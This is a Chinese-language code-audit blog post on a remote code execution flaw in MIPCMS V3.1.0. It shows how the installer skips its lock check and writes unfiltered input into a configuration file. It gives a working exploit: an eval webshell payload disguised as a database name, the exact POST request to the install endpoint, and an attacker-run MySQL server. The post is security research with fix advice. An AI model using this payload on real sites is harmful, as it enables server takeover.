0x00 环境准备

MIPCMS官网:https://www.mipcms.cn

网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01)

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip

本地测试网站:

0x01 代码分析

1、漏洞文件位置/app/install/controller/Install.php  第13-23行:

    public function index()      {  ​        if (is_file(PUBLIC_PATH . 'install' . DS .'install.lock')) {              header('Location: ' . url('@/'));              exit();          }          if (!defined('__ROOT__')) {              $_root = rtrim(dirname(rtrim($_SERVER['SCRIPT_NAME'], '/')), '/');              define('__ROOT__', (('/' == $_root || '\\' == $_root) ? '' : $_root));          }  

这段index函数对install.lock文件进行检测,如果发现存在就退出。我们继续看下面的代码,本次远程代码执行漏洞代码主要为installPost函数,先来看一下第118-142行:

public function installPost(Request $request) {                header('Access-Control-Allow-Origin: *');                header('Access-Control-Allow-Credentials: true');                header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');                header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');             if (Request::instance()->isPost()) {                 $dbconfig['type']="mysql";                 $dbconfig['hostname']=input('post.dbhost');                 $dbconfig['username']=input('post.dbuser');                 $dbconfig['password']=input('post.dbpw');                 $dbconfig['hostport']=input('post.dbport');                 $dbname=strtolower(input('post.dbname'));                      $username = input('post.username');                 $password = input('post.password');                 $rpassword = input('post.rpassword');               if (!$username) {                    return jsonError('请输入用户名');                 }               if (!$password) {                     return jsonError('请输入密码');                 }                 if (!$rpassword) {                     return jsonError('请输入重复密码');              }  

这段函数中,并没有沿用index中install.lock进行检测,我们可以通过构造链接,直接跳转到这一步,绕过index函数中install.lock的检测。可以看到,这段installPost函数中获取了多个参数,继续往下看:

    $dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";      try {          $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);      } catch (\PDOException $e) {          return jsonError('错误代码:'.$e->getMessage());      }      $dbconfig['database'] = $dbname;      $dbconfig['prefix']=trim(input('dbprefix'));      $tablepre = input("dbprefix");      $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');      $sql = str_replace("\r", "\n", $sql);      $sql = explode(";\n", $sql);      $default_tablepre = "mip_";      $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);      foreach ($sql as $item) {          $item = trim($item);          if(empty($item)) continue;          preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);          if($matches) {              if(false !== $db->exec($item)){  ​            } else {                 return jsonError('安装失败');              }          } else {              $db->exec($item);          }      }  

这段函数对获取的参数进行检测,Mysql数据库连接失败会报错退出,接着进行导入数据库操作。

继续往下看,第172-192行:

        if(is_array($dbconfig)){          $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');          foreach ($dbconfig as $key => $value) {              $conf = str_replace("#{$key}#", $value, $conf);          }          $install = CONF_PATH;          if(!is_writable($install)){              return jsonError('路径:'.$install.'没有写入权限');          }          try {              $fileStatus = is_file(CONF_PATH. '/database.php');              if ($fileStatus) {                   unlink(CONF_PATH. '/database.php');              }              file_put_contents(CONF_PATH. '/database.php', $conf);              return jsonSuccess('配置文件写入成功',1);          } catch (Exception $e) {              return jsonError('database.php文件写入失败,请检查system/config 文件夹是否可写入');          }  

在installPost函数的最后,将参数写入到配置文件database.php中,而且并未对参数进行任何过滤或转义,攻击者可以构造脚本代码写入配置文件。

综上,首先程序流程把控不严谨,可以绕过install.lock检测进入installPost函数中,然后通过构造参数将脚本代码写入配置文件,进一步去触发脚本代码,控制网站服务器。程序在实现上存在远程代码执行漏洞,危害极大。

0x02 漏洞利用

一、如何去构造Payload

难题1:构造的参数在Mysql连接中,必须连接成功,不然程序就报错退出了。

在写入配置文件中,我们能够控制的参数有5个参数,到底哪个参数能利用呢?写入配置文件的形式如下:

    return [          'hostname'       => '127.0.0.1',    // 服务器地址          'database'       => 'test',         // 数据库名          'username'       => 'root',         // 用户名          'password'       => 'root',         // 密码          'hostport'       => '3306',         // 端口      ];  

为了能让Mysql连接成功,我们需要自己搭建一个Mysql服务,让程序连接不会报错,这样才能继续利用。另外,在5个参数中,服务器地址和端口是不能改的,用户名限制不能超过16位,Mysql的密码是加密也不好利用,唯一剩下可以利用的就是数据库名,要建立一个与Payload名字一样的数据库名,才能连接成功。

难题2:写入配置文件的时候,大写会全部转化为小写,那么全局变量$_GET等,全局不能利用:

为此,测试了不少一句话木马,尝试通过加密来解决问题,如:

    test',1=>file_put_contents("test.php",strtoupper('<?php eval($_POST[g])?>')),'xx'=>'      test',1=>eval(base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2ddKT8+)),'xx'=>'       test',1=>eval(urldecode(%24%5F%50%4F%53%54%5B%67%5D)),'xx'=>'  

但是这些Payload要么不行执行,要么不能命名为数据库名。最终,灵感突现,直接放弃​_POST,利用php://input实现的webshell,就不必纠结于大小写了。

    最终Payload:      test',1=>eval(file_get_contents('php://input')),'xx'=>'  

二、漏洞利用过程

模拟环境:网站服务器IP:192.168.8.131 模拟攻击者服务器IP:192.168.8.1

过程1:首先在攻击者服务器(192.168.8.1)搭建一个Mysql服务,新建数据库命名为:test',1=>eval(file_get_contents('php://input')),'xx'=>'

过程2:访问网站服务器(192.168.8.131)提交Payload写入配置文件,

Payload:

http://192.168.8.131/index.php?s=/install/Install/installPost

POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'xx'=>'&dbhost=192.168.8.1&dbuser=root&dbpw=root

进一步去触发脚本代码,执行系统命令,whoami查看网站服务器当前用户为administrator: 

查看网站服务器IP设置:

0x03 修复建议

​ 1、在初始化过程中进行lock文件检测,避免被绕过;

​ 2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】MIPCMS 远程写入配置文件Getshell的更多相关文章

  1. MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)

      作者:i春秋作家--F0rmat 0×01 前言 今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下.看下整体的结构,用的是thinkPHP的架 ...

  2. ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  3. Thinkphp 解决写入配置文件的方法

    在/Application/Common/Common创建function.php,然后添加以下代码: <?php /** * [writeArr 写入配置文件方法] * @param [typ ...

  4. IIS不能对网站添加默认文档(由于权限不足而无法写入配置文件)

    IIS7以上版本配置网站时需要手动配置网站目录的文件夹权限 增加"IIS_IUSER"用户的修改权限 但增加后仍然提示“ 由于权限不足无法写入配置文件” 通常是Web.config ...

  5. ConfigParser-- 读取写入配置文件

    基础读取配置文件   -read(filename)               直接读取文件内容 -sections()                      得到所有的section,并以列表 ...

  6. Mysql系列九:使用zookeeper管理远程Mycat配置文件、Mycat监控、Mycat数据迁移(扩容)

    一.使用zookeeper管理远程Mycat配置文件 环境准备: 虚拟机192.168.152.130: zookeeper,具体参考前面文章 搭建dubbo+zookeeper+dubboadmin ...

  7. Python 读取写入配置文件 —— ConfigParser

    Python 读取写入配置文件 —— ConfigParser Python 读取写入配置文件很方便,可使用内置的 configparser 模块:可查看源码,如博主本机地址: “C:/python2 ...

  8. c#写入配置文件(text)

    1.获取当前时间 System.DateTime currentTime = new System.DateTime(); currentTime = System.DateTime.Now; 写入配 ...

  9. [转帖]SSH远程登录配置文件sshd_config详解

    SSH远程登录配置文件sshd_config详解 2016年06月02日 17:42:25 Field_Yang 阅读数 61386   版权声明:本文为博主原创文章,遵循CC 4.0 by-sa版权 ...

随机推荐

  1. NetBeans Support Weblog

    https://blogs.oracle.com/NetBeansSupport/entry/tomcat_log_files ———————————————————————————————————— ...

  2. [Intellij] 软件设置和常用快捷键

    理解Project 和 Module 一个 Project 是由一个或多个 Module 组成,模块之间尽量是处在同一个项目业务的的情况下,彼此之间互相依赖关联.如: Project : spring ...

  3. Change Data template dynamically

    1. Attached Property bound to task state. Any change will dynamically set data template.2. Visual St ...

  4. RIP路由协议及工作原理

    RIP路由协议及工作原理 RIP(Routing information Protocol,路由信息协议)是应用较早.使用较普遍的内部网关协议(Interior Gateway Protocol,IG ...

  5. Semantic segmentation using adversarial networks

    FAIR Paris分部的论文,NIPS2016 Workshop. Motivation是让predict出来的结果和真实label在高层感觉上有一致性. 基本思想就是用GAN来区分segmenta ...

  6. mysql 合理创建索引

    场景: KEY `index_gscode_f4_f7` (`gscode`,`f4`,`f7`) USING BTREE KEY `index_gscode_f7_f4` (`gscode`,`f7 ...

  7. css 解决父div与子div不在同一容器的问题

    <html> <head> </head> <body> <div style="margin:0 auto;width:600px;b ...

  8. 了解ASP.NET Core 依赖注入,看这篇就够了 于2017年11月6日由jesseliu发布

    DI在.NET Core里面被提到了一个非常重要的位置, 这篇文章主要再给大家普及一下关于依赖注入的概念,身边有工作六七年的同事还个东西搞不清楚.另外再介绍一下.NET  Core的DI实现以及对实例 ...

  9. ASP利用xhEditor编辑器实现图片上传的功能。

    本人这几天在做一个软件,无意中用到xhEditor在线编辑器,这个编辑器虽然看着比较简单,但功能非常强大,大家可以去官网上查看,废话不说了. 这篇文件主要是实现在ASP环境中利用xhEditor编辑器 ...

  10. mongo数据库命令简单学习

    db.getCollection('product').update({status:"offline"},{$set:{status:"online"}},f ...